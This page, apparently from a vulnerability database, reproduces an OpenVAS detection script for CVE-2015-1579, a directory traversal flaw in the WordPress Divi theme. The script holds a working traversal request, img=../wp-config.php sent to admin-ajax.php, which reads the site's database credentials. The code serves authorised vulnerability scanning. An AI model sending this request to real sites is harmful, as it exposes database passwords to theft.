Lucene search

K
openvasCopyright (C) 2015 Greenbone AGOPENVAS:1361412562310805343
HistoryMar 06, 2015 - 12:00 a.m.

WordPress Divi Theme Directory Traversal Vulnerability

2015-03-0600:00:00
Copyright (C) 2015 Greenbone AG
plugins.openvas.org
42

5 Medium

CVSS2

Attack Vector

NETWORK

Attack Complexity

LOW

Authentication

NONE

Confidentiality Impact

PARTIAL

Integrity Impact

NONE

Availability Impact

NONE

AV:N/AC:L/Au:N/C:P/I:N/A:N

9.4 High

AI Score

Confidence

High

0.675 Medium

EPSS

Percentile

98.0%

WordPress Divi Theme is prone to a directory traversal vulnerability.

# SPDX-FileCopyrightText: 2015 Greenbone AG
# Some text descriptions might be excerpted from (a) referenced
# source(s), and are Copyright (C) by the respective right holder(s).
#
# SPDX-License-Identifier: GPL-2.0-only

CPE = "cpe:/a:wordpress:wordpress";

if(description)
{
  script_oid("1.3.6.1.4.1.25623.1.0.805343");
  script_version("2023-07-25T05:05:58+0000");
  script_cve_id("CVE-2015-1579");
  script_tag(name:"cvss_base", value:"5.0");
  script_tag(name:"cvss_base_vector", value:"AV:N/AC:L/Au:N/C:P/I:N/A:N");
  script_tag(name:"last_modification", value:"2023-07-25 05:05:58 +0000 (Tue, 25 Jul 2023)");
  script_tag(name:"creation_date", value:"2015-03-06 11:19:45 +0530 (Fri, 06 Mar 2015)");
  script_name("WordPress Divi Theme Directory Traversal Vulnerability");

  script_tag(name:"summary", value:"WordPress Divi Theme is prone to a directory traversal vulnerability.");

  script_tag(name:"vuldetect", value:"Send a crafted data via HTTP GET request
  and check whether it is able to read arbitrary files or not.");

  script_tag(name:"insight", value:"Flaw is due to the 'wp-admin/admin-ajax.php'
  scripts are not properly sanitizing user input, specifically path traversal style
  attacks (e.g. '../') via the 'img' parameter.");

  script_tag(name:"impact", value:"Successful exploitation will allow remote
  attackers to download arbitrary files.");

  script_tag(name:"affected", value:"WordPress Divi Theme");

  script_tag(name:"solution", value:"No known solution was made available for at least one year since the disclosure of this vulnerability.
Likely none will be provided anymore.
General solution options are to upgrade to a newer release, disable respective features, remove the product or replace the product by another one.");

  script_tag(name:"solution_type", value:"WillNotFix");
  script_tag(name:"qod_type", value:"exploit");
  script_xref(name:"URL", value:"http://www.exploit-db.com/exploits/36039/");
  script_category(ACT_ATTACK);
  script_copyright("Copyright (C) 2015 Greenbone AG");
  script_family("Web application abuses");
  script_dependencies("gb_wordpress_http_detect.nasl");
  script_mandatory_keys("wordpress/http/detected");
  script_require_ports("Services/www", 80);
  exit(0);
}

include("http_func.inc");
include("http_keepalive.inc");
include("host_details.inc");

if(!port = get_app_port(cpe:CPE, service:"www"))
  exit(0);

if(!dir = get_app_location(cpe:CPE, port:port))
  exit(0);

if(dir == "/")
  dir = "";

url = dir + "/wp-admin/admin-ajax.php?action=revslider_show_image&img=../wp-config.php";

req = http_get(item:url, port:port);
res = http_keepalive_send_recv(port:port, data:req);

if(http_vuln_check(port:port, url:url, check_header:FALSE,
   pattern:"DB_NAME", extra_check:make_list("DB_USER", "DB_PASSWORD"))) {
  report = http_report_vuln_url( port:port, url:url );
  security_message(port:port, data:report);
  exit(0);
}

exit(99);

5 Medium

CVSS2

Attack Vector

NETWORK

Attack Complexity

LOW

Authentication

NONE

Confidentiality Impact

PARTIAL

Integrity Impact

NONE

Availability Impact

NONE

AV:N/AC:L/Au:N/C:P/I:N/A:N

9.4 High

AI Score

Confidence

High

0.675 Medium

EPSS

Percentile

98.0%